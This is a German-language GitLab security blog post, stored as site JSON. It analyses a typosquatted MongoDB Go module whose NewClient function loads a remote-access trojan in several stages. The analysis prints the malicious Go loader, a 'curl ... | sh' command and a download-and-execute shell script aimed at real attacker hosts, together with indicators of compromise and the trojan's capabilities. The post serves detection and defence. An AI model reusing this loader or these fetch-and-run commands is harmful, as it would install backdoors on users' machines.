[{"data":1,"prerenderedAt":1527},["ShallowReactive",2],{"/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack":3,"navigation-de-de":745,"banner-de-de":1177,"footer-de-de":1185,"blog-post-authors-de-de-Michael Henriksen":1425,"blog-related-posts-de-de-gitlab-catches-mongodb-go-module-supply-chain-attack":1440,"blog-promotions-de-de":1465,"next-steps-de-de":1517},{"id":4,"title":5,"authors":6,"body":8,"category":728,"date":729,"description":730,"extension":731,"externalUrl":732,"faq":732,"featured":733,"heroImage":734,"meta":735,"navigation":733,"path":736,"seo":737,"slug":739,"stem":740,"tags":741,"template":743,"updatedDate":732,"__hash__":744},"blogPosts/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.md","GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff",[7],"Michael Henriksen",{"type":9,"value":10,"toc":718},"minimark",[11,15,28,33,76,80,83,259,275,283,293,317,335,394,407,424,428,434,438,463,467,470,474,612,616,625,629,714],[12,13,14],"p",{},"Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören weiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne Softwareentwicklung. Die weit verbreitete Nutzung von Open-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen schnell zu erstellen, aber auch die Angriffsfläche vergrößert.\nDas wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.\nUm diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:",[16,17,18,22,25],"ul",{},[19,20,21],"li",{},"Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert",[19,23,24],{},"Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet",[19,26,27],{},"KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung\nDieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.\nMit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.",[29,30,32],"h2",{"id":31},"zusammenfassung-ein-mongodb-modul-mit-dem-etwas-nicht-stimmt","Zusammenfassung: Ein MongoDB-Modul, mit dem etwas nicht stimmt",[12,34,35,36,40,41,47,48,51,52,55,56,59,60,63,64,67,68,71,72,75],{},"Unser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens ",[37,38,39],"code",{},"github.com/qiniiu/qmgo"," gemeldet, das das beliebte ",[42,43,46],"a",{"href":44,"rel":45},"https://www.mongodb.com/",[],"MongoDB","-Modul ",[37,49,50],{},"github.com/qiniu/qmgo"," genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB\" und hat in der Go-Community an Bedeutung gewonnen.\nUm das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i\" hinzu (",[37,53,54],{},"qiniu"," → ",[37,57,58],{},"qiniiu","). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.\nDer Code des neuen Moduls war eine funktionierende Kopie des legitimen ",[37,61,62],{},"qmgo","-Moduls. Allerdings wurde bösartiger Code in die ",[37,65,66],{},"NewClient","-Funktion in ",[37,69,70],{},"client.go"," eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.\nNach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (",[37,73,74],{},"github.com/qiiniu/qmgo",") mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.",[29,77,79],{"id":78},"technische-tiefenanalyse-die-schichten-abziehen","Technische Tiefenanalyse: Die Schichten abziehen",[12,81,82],{},"Der Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:",[84,85,90],"pre",{"className":86,"code":87,"language":88,"meta":89,"style":89},"language-go shiki shiki-themes github-light","txt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()\nif err == nil {\n    txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()\n    if err == nil {\n        exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()\n    }\n}\n","go","",[37,91,92,128,147,202,216,247,253],{"__ignoreMap":89},[93,94,97,101,105,108,112,115,119,122,125],"span",{"class":95,"line":96},"line",1,[93,98,100],{"class":99},"sgsFI","txt, err ",[93,102,104],{"class":103},"sD7c4",":=",[93,106,107],{"class":99}," script.",[93,109,111],{"class":110},"s7eDp","Get",[93,113,114],{"class":99},"(",[93,116,118],{"class":117},"sYBdl","\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\"",[93,120,121],{"class":99},").",[93,123,124],{"class":110},"String",[93,126,127],{"class":99},"()\n",[93,129,131,134,137,140,144],{"class":95,"line":130},2,[93,132,133],{"class":103},"if",[93,135,136],{"class":99}," err ",[93,138,139],{"class":103},"==",[93,141,143],{"class":142},"sYu0t"," nil",[93,145,146],{"class":99}," {\n",[93,148,150,153,155,157,159,161,164,167,170,173,176,179,181,184,187,189,192,195,198,200],{"class":95,"line":149},3,[93,151,152],{"class":99},"    txt2, err ",[93,154,104],{"class":103},[93,156,107],{"class":99},[93,158,111],{"class":110},[93,160,114],{"class":99},[93,162,163],{"class":103},"string",[93,165,166],{"class":99},"(strings.",[93,168,169],{"class":110},"Replace",[93,171,172],{"class":99},"(txt, ",[93,174,175],{"class":117},"\"",[93,177,178],{"class":142},"\\n",[93,180,175],{"class":117},[93,182,183],{"class":99},", ",[93,185,186],{"class":117},"\"\"",[93,188,183],{"class":99},[93,190,191],{"class":103},"-",[93,193,194],{"class":142},"1",[93,196,197],{"class":99},"))).",[93,199,124],{"class":110},[93,201,127],{"class":99},[93,203,205,208,210,212,214],{"class":95,"line":204},4,[93,206,207],{"class":103},"    if",[93,209,136],{"class":99},[93,211,139],{"class":103},[93,213,143],{"class":142},[93,215,146],{"class":99},[93,217,219,222,225,227,230,232,235,237,239,242,245],{"class":95,"line":218},5,[93,220,221],{"class":99},"        exec.",[93,223,224],{"class":110},"Command",[93,226,114],{"class":99},[93,228,229],{"class":117},"\"/bin/sh\"",[93,231,183],{"class":99},[93,233,234],{"class":117},"\"-c\"",[93,236,183],{"class":99},[93,238,163],{"class":103},[93,240,241],{"class":99},"(txt2)).",[93,243,244],{"class":110},"Start",[93,246,127],{"class":99},[93,248,250],{"class":95,"line":249},6,[93,251,252],{"class":99},"    }\n",[93,254,256],{"class":95,"line":255},7,[93,257,258],{"class":99},"}\n",[12,260,261,262,266,267,270,271,274],{},"Der Angriff entfaltet sich in vier verschiedenen Schichten:\n",[263,264,265],"strong",{},"Schicht 1:"," Der Code holt ",[37,268,269],{},"update.html"," aus einem anderen Repository, das dem Typosquat-Konto ",[37,272,273],{},"qiiniu/vue-element-admin"," gehört. Die Datei enthielt eine einzelne Zeile:",[84,276,281],{"className":277,"code":279,"language":280,"meta":89},[278],"language-text","https://img.googlex.cloud/seed.php\n","text",[37,282,279],{"__ignoreMap":89},[12,284,285,288,289,292],{},[263,286,287],{},"Schicht 2:"," Der Code holt dann ",[37,290,291],{},"https://img.googlex.cloud/seed.php",", was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:",[84,294,298],{"className":295,"code":296,"language":297,"meta":89,"style":89},"language-bash shiki shiki-themes github-light","curl -s http://207.148.110.29:80/logon61.gif|sh\n","bash",[37,299,300],{"__ignoreMap":89},[93,301,302,305,308,311,314],{"class":95,"line":96},[93,303,304],{"class":110},"curl",[93,306,307],{"class":142}," -s",[93,309,310],{"class":117}," http://207.148.110.29:80/logon61.gif",[93,312,313],{"class":103},"|",[93,315,316],{"class":110},"sh\n",[12,318,319,322,323,326,327,330,331,334],{},[263,320,321],{},"Schicht 3:"," Der Befehl weist das System an, ",[37,324,325],{},"http://207.148.110.29:80/logon61.gif"," mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (",[37,328,329],{},"chainelli.mp3",") nach ",[37,332,333],{},"/tmp/vod"," herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:",[84,336,338],{"className":295,"code":337,"language":297,"meta":89,"style":89},"#!/bin/sh\nrm -rf /tmp/vod\ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod\nchmod 777 /tmp/vod\n/tmp/vod\nrm -rf /tmp/vod\n",[37,339,340,346,357,371,381,386],{"__ignoreMap":89},[93,341,342],{"class":95,"line":96},[93,343,345],{"class":344},"sAwPA","#!/bin/sh\n",[93,347,348,351,354],{"class":95,"line":130},[93,349,350],{"class":110},"rm",[93,352,353],{"class":142}," -rf",[93,355,356],{"class":117}," /tmp/vod\n",[93,358,359,361,363,366,369],{"class":95,"line":149},[93,360,304],{"class":110},[93,362,307],{"class":142},[93,364,365],{"class":117}," http://207.148.110.29:80/chainelli.mp3",[93,367,368],{"class":142}," -o",[93,370,356],{"class":117},[93,372,373,376,379],{"class":95,"line":204},[93,374,375],{"class":110},"chmod",[93,377,378],{"class":142}," 777",[93,380,356],{"class":117},[93,382,383],{"class":95,"line":218},[93,384,385],{"class":110},"/tmp/vod\n",[93,387,388,390,392],{"class":95,"line":249},[93,389,350],{"class":110},[93,391,353],{"class":142},[93,393,356],{"class":117},[12,395,396,399,400,402,403,406],{},[263,397,398],{},"Schicht 4:"," Die ",[37,401,329],{},"-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei ",[37,404,405],{},"ellipal.spoolsv.cyou"," auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:",[16,408,409,412,415,418,421],{},[19,410,411],{},"Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung",[19,413,414],{},"Screenshot-Aufnahmen",[19,416,417],{},"SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen",[19,419,420],{},"Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung",[19,422,423],{},"Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download",[29,425,427],{"id":426},"es-ist-zurück-schon-wieder","Es ist zurück (schon wieder)",[12,429,430,431,433],{},"Nur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien ",[37,432,74],{}," – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.",[29,435,437],{"id":436},"gitlabs-ansatz-nadeln-im-heuhaufen-finden","GitLabs Ansatz: Nadeln im Heuhaufen finden",[12,439,440,441,444,445,448,449,452,453,458,459,462],{},"Die anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:\n",[263,442,443],{},"Typosquatting-Erkennung:"," GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.\n",[263,446,447],{},"Semantische Heuristik:"," Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.\n",[263,450,451],{},"KI-unterstützte Analyse:"," Ein ",[42,454,457],{"href":455,"rel":456},"https://about.gitlab.com/blog/what-is-a-large-language-model-llm/",[],"Large Language Model"," führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.\n",[263,460,461],{},"Menschliche Überprüfung:"," Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.",[29,464,466],{"id":465},"empfehlungen-persistenten-supply-chain-bedrohungen-voraus-bleiben","Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben",[12,468,469],{},"Dieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.\nDer schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.\nWir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu erkennen.",[29,471,473],{"id":472},"indicators-of-compromise","Indicators of Compromise",[475,476,477,490],"table",{},[478,479,480],"thead",{},[481,482,483,487],"tr",{},[484,485,486],"th",{},"IOC",[484,488,489],{},"Beschreibung",[491,492,493,503,511,521,530,538,546,555,565,574,583,593,603],"tbody",{},[481,494,495,500],{},[496,497,498],"td",{},[37,499,39],{},[496,501,502],{},"Bösartiges Go-Modul",[481,504,505,509],{},[496,506,507],{},[37,508,74],{},[496,510,502],{},[481,512,513,518],{},[496,514,515],{},[37,516,517],{},"https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html",[496,519,520],{},"Payload-Bereitstellungs-URL",[481,522,523,528],{},[496,524,525],{},[37,526,527],{},"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html",[496,529,520],{},[481,531,532,536],{},[496,533,534],{},[37,535,291],{},[496,537,520],{},[481,539,540,544],{},[496,541,542],{},[37,543,325],{},[496,545,520],{},[481,547,548,553],{},[496,549,550],{},[37,551,552],{},"http://207.148.110.29:80/chainelli.mp3",[496,554,520],{},[481,556,557,562],{},[496,558,559],{},[37,560,561],{},"img.googlex.cloud",[496,563,564],{},"Payload-Bereitstellungs-Host",[481,566,567,572],{},[496,568,569],{},[37,570,571],{},"207.148.110.29",[496,573,564],{},[481,575,576,580],{},[496,577,578],{},[37,579,405],{},[496,581,582],{},"Command & Control-Host",[481,584,585,590],{},[496,586,587],{},[37,588,589],{},"6ada952c592f286692c59028c5e0fc3fa589759f",[496,591,592],{},"SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware",[481,594,595,600],{},[496,596,597],{},[37,598,599],{},"8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c",[496,601,602],{},"SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware",[481,604,605,609],{},[496,606,607],{},[37,608,333],{},[496,610,611],{},"Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware",[29,613,615],{"id":614},"wie-gitlab-hilft-die-software-supply-chain-zu-sichern","Wie GitLab hilft, die Software-Supply-Chain zu sichern",[12,617,618,619,624],{},"Bösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst ",[42,620,623],{"href":621,"rel":622},"https://docs.gitlab.com/user/application_security/secure_your_application/",[],"Application Security Testing","-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.\nGepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.",[29,626,628],{"id":627},"zeitlinie","Zeitlinie",[16,630,631,640,648,660,668,676,685,692,699,706],{},[19,632,633,636,637,639],{},[263,634,635],{},"2025-06-01T09:31:"," GitLab meldet ",[37,638,39],{}," an Go Security",[19,641,642,636,645,647],{},[263,643,644],{},"2025-06-01T09:43:",[37,646,39],{}," an GitHub",[19,649,650,636,653,655,656,659],{},[263,651,652],{},"2025-06-01T10:14:",[37,654,405],{}," (",[37,657,658],{},"188.166.213.194",") an den IP-Block-Eigentümer",[19,661,662,665,666],{},[263,663,664],{},"2025-06-02T04:03:"," Go Security entfernt ",[37,667,39],{},[19,669,670,673,674],{},[263,671,672],{},"2025-06-02T09:57:"," Der IP-Block-Eigentümer sperrt ",[37,675,658],{},[19,677,678,681,682],{},[263,679,680],{},"2025-06-03T09:15:"," GitHub sperrt ",[37,683,684],{},"github.com/qiniiu",[19,686,687,636,690,639],{},[263,688,689],{},"2025-06-05T17:15:",[37,691,74],{},[19,693,694,636,697,647],{},[263,695,696],{},"2025-06-05T17:33:",[37,698,74],{},[19,700,701,665,704],{},[263,702,703],{},"2025-06-05T17:45:",[37,705,74],{},[19,707,708,681,711],{},[263,709,710],{},"2025-06-06T12:25:",[37,712,713],{},"github.com/qiiniu",[715,716,717],"style",{},"html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}",{"title":89,"searchDepth":130,"depth":130,"links":719},[720,721,722,723,724,725,726,727],{"id":31,"depth":130,"text":32},{"id":78,"depth":130,"text":79},{"id":426,"depth":130,"text":427},{"id":436,"depth":130,"text":437},{"id":465,"depth":130,"text":466},{"id":472,"depth":130,"text":473},{"id":614,"depth":130,"text":615},{"id":627,"depth":130,"text":628},"security","2025-06-30","Erfahre, wie GitLab einen Supply-Chain-Angriff aufgedeckt hat, der Go-Entwickler(innen) durch gefälschte MongoDB-Treiber ins Visier nahm, die persistente Backdoor-Malware bereitstellen.","md",null,true,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{},"/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"noIndex":738,"title":5,"description":730,"ogDescription":730,"ogTitle":5},false,"gitlab-catches-mongodb-go-module-supply-chain-attack","de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",[728,742],"product","BlogPost","xlD37zPM24SO4oiXEPJnoAydVPol0IrNU6nr49YlyZk",{"logo":746,"freeTrial":751,"sales":756,"login":761,"items":766,"search":1095,"minimal":1129,"duo":1147,"switchNav":1156,"pricingDeployment":1167},{"config":747},{"href":748,"dataGaName":749,"dataGaLocation":750},"/de-de/","gitlab logo","header",{"text":752,"config":753},"Kostenlose Testversion anfordern",{"href":754,"dataGaName":755,"dataGaLocation":750},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial/","free trial",{"text":757,"config":758},"Demo anfordern",{"href":759,"dataGaName":760,"dataGaLocation":750},"/de-de/sales/?contact-topic=request-demo","sales",{"text":762,"config":763},"Anmelden",{"href":764,"dataGaName":765,"dataGaLocation":750},"https://gitlab.com/users/sign_in/","sign in",[767,796,898,903,1017,1073],{"text":768,"config":769,"menu":771},"Plattform",{"dataNavLevelOne":770},"platform",{"type":772,"columns":773},"cards",[774,780,788],{"title":768,"description":775,"link":776},"Die intelligente Orchestrierungsplattform für DevSecOps",{"text":777,"config":778},"Die Plattform erkunden",{"href":779,"dataGaName":770,"dataGaLocation":750},"/de-de/platform/",{"title":781,"description":782,"link":783},"GitLab Duo Agent Platform","Agentische KI für den gesamten Software-Lebenszyklus",{"text":784,"config":785},"Lerne GitLab Duo kennen",{"href":786,"dataGaName":787,"dataGaLocation":750},"/de-de/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":789,"description":790,"link":791},"Warum GitLab?","Erfahre, warum sich Unternehmen für GitLab entscheiden",{"text":792,"config":793},"Mehr erfahren",{"href":794,"dataGaName":795,"dataGaLocation":750},"/de-de/why-gitlab/","why gitlab",{"text":797,"left":733,"config":798,"menu":800},"Produkt",{"dataNavLevelOne":799},"solutions",{"type":801,"link":802,"columns":806,"feature":877},"lists",{"text":803,"config":804},"Alle Lösungen anzeigen",{"href":805,"dataGaName":799,"dataGaLocation":750},"/de-de/solutions/",[807,832,855],{"title":808,"description":809,"link":810,"items":815},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":811},{"icon":812,"href":813,"dataGaName":814,"dataGaLocation":750},"AutomatedCodeAlt","/de-de/solutions/delivery-automation/","automated software delivery",[816,820,823,828],{"text":817,"config":818},"CI/CD",{"href":819,"dataGaLocation":750,"dataGaName":817},"/de-de/solutions/continuous-integration/",{"text":781,"config":821},{"href":786,"dataGaLocation":750,"dataGaName":822},"gitlab duo agent platform - product menu",{"text":824,"config":825},"Quellcodeverwaltung",{"href":826,"dataGaLocation":750,"dataGaName":827},"/de-de/solutions/source-code-management/","Source Code Management",{"text":829,"config":830},"Automatische Softwarebereitstellung",{"href":813,"dataGaLocation":750,"dataGaName":831},"Automated software delivery",{"title":833,"description":834,"link":835,"items":840},"Sicherheit","Entwickle Code schneller ohne Abstriche bei der Sicherheit",{"config":836},{"href":837,"dataGaName":838,"dataGaLocation":750,"icon":839},"/de-de/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[841,845,850],{"text":842,"config":843},"Anwendungssicherheitstests",{"href":837,"dataGaName":844,"dataGaLocation":750},"Application security testing",{"text":846,"config":847},"Schutz der Software-Lieferkette",{"href":848,"dataGaLocation":750,"dataGaName":849},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":851,"config":852},"Software-Compliance",{"href":853,"dataGaName":854,"dataGaLocation":750},"/de-de/solutions/software-compliance/","software compliance",{"title":856,"link":857,"items":862},"Messung",{"config":858},{"icon":859,"href":860,"dataGaName":861,"dataGaLocation":750},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[863,867,872],{"text":864,"config":865},"Sichtbarkeit und Messung",{"href":860,"dataGaLocation":750,"dataGaName":866},"Visibility and Measurement",{"text":868,"config":869},"Wertstrommanagement",{"href":870,"dataGaLocation":750,"dataGaName":871},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":873,"config":874},"Analysen und Einblicke",{"href":875,"dataGaLocation":750,"dataGaName":876},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":878,"type":801,"items":879},"GitLab für",[880,886,892],{"text":881,"config":882},"Enterprise",{"icon":883,"href":884,"dataGaLocation":750,"dataGaName":885},"Building","/de-de/enterprise/","enterprise",{"text":887,"config":888},"Kleinunternehmen",{"icon":889,"href":890,"dataGaLocation":750,"dataGaName":891},"Work","/de-de/small-business/","small business",{"text":893,"config":894},"Öffentlicher Sektor",{"icon":895,"href":896,"dataGaLocation":750,"dataGaName":897},"Organization","/de-de/solutions/public-sector/","public sector",{"text":899,"config":900},"Preise",{"href":901,"dataGaName":902,"dataGaLocation":750,"dataNavLevelOne":902},"/de-de/pricing/","pricing",{"text":904,"config":905,"menu":907},"Ressourcen",{"dataNavLevelOne":906},"resources",{"type":801,"link":908,"columns":912,"feature":1006},{"text":909,"config":910},"Alle Ressourcen anzeigen",{"href":911,"dataGaName":906,"dataGaLocation":750},"/de-de/resources/",[913,946,973],{"title":914,"items":915},"Erste Schritte",[916,921,926,931,936,941],{"text":917,"config":918},"Installieren",{"href":919,"dataGaName":920,"dataGaLocation":750},"/de-de/install/","install",{"text":922,"config":923},"Kurzanleitungen",{"href":924,"dataGaName":925,"dataGaLocation":750},"/de-de/get-started/","quick setup checklists",{"text":927,"config":928},"Lernen",{"href":929,"dataGaLocation":750,"dataGaName":930},"https://university.gitlab.com/","learn",{"text":932,"config":933},"Produktdokumentation",{"href":934,"dataGaName":935,"dataGaLocation":750},"https://docs.gitlab.com/","product documentation",{"text":937,"config":938},"Best-Practice-Videos",{"href":939,"dataGaName":940,"dataGaLocation":750},"/de-de/getting-started-videos/","best practice videos",{"text":942,"config":943},"Integrationen",{"href":944,"dataGaName":945,"dataGaLocation":750},"/de-de/integrations/","integrations",{"title":947,"items":948},"Entdecken",[949,954,959,964,968],{"text":950,"config":951},"Kundenerfolge",{"href":952,"dataGaName":953,"dataGaLocation":750},"/de-de/customers/","customer success stories",{"text":955,"config":956},"Blog",{"href":957,"dataGaName":958,"dataGaLocation":750},"/de-de/blog/","blog",{"text":960,"config":961},"Demo-Hub",{"href":962,"dataGaName":963,"dataGaLocation":750},"/de-de/demo-hub/","demo hub",{"text":965,"config":966},"The Source",{"href":967,"dataGaName":958,"dataGaLocation":750},"/de-de/the-source/",{"text":969,"config":970},"Remote",{"href":971,"dataGaName":972,"dataGaLocation":750},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":974,"items":975},"Vernetzen",[976,981,986,991,996,1001],{"text":977,"config":978},"GitLab-Services",{"href":979,"dataGaName":980,"dataGaLocation":750},"/de-de/services/","services",{"text":982,"config":983},"Beitragen",{"href":984,"dataGaName":985,"dataGaLocation":750},"https://contributors.gitlab.com","contribute",{"text":987,"config":988},"Community",{"href":989,"dataGaName":990,"dataGaLocation":750},"/community/","community",{"text":992,"config":993},"Forum",{"href":994,"dataGaName":995,"dataGaLocation":750},"https://forum.gitlab.com/","forum",{"text":997,"config":998},"Veranstaltungen",{"href":999,"dataGaName":1000,"dataGaLocation":750},"/events/","events",{"text":1002,"config":1003},"Partner",{"href":1004,"dataGaName":1005,"dataGaLocation":750},"/de-de/partners/","partners",{"config":1007,"title":1010,"text":1011,"link":1012},{"background":1008,"textColor":1009},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Neues bei GitLab","Über die neuesten Funktionen und Verbesserungen auf dem Laufenden bleiben.",{"text":1013,"config":1014},"Aktuelle Nachrichten",{"href":1015,"dataGaName":1016,"dataGaLocation":750},"/de-de/whats-new/","whats new",{"text":1018,"config":1019,"menu":1021},"Unternehmen",{"dataNavLevelOne":1020},"company",{"type":801,"columns":1022},[1023],{"items":1024},[1025,1030,1036,1038,1043,1048,1053,1058,1063,1068],{"text":1026,"config":1027},"Über",{"href":1028,"dataGaName":1029,"dataGaLocation":750},"/de-de/company/","about",{"text":1031,"config":1032,"footerGa":1035},"Karriere",{"href":1033,"dataGaName":1034,"dataGaLocation":750},"/jobs/","jobs",{"dataGaName":1034},{"text":997,"config":1037},{"href":999,"dataGaName":1000,"dataGaLocation":750},{"text":1039,"config":1040},"Geschäftsführung",{"href":1041,"dataGaName":1042,"dataGaLocation":750},"/company/team/e-group/","leadership",{"text":1044,"config":1045},"Handbuch",{"href":1046,"dataGaName":1047,"dataGaLocation":750},"https://handbook.gitlab.com/","handbook",{"text":1049,"config":1050},"Investor Relations",{"href":1051,"dataGaName":1052,"dataGaLocation":750},"https://ir.gitlab.com/overview/default.aspx","investor 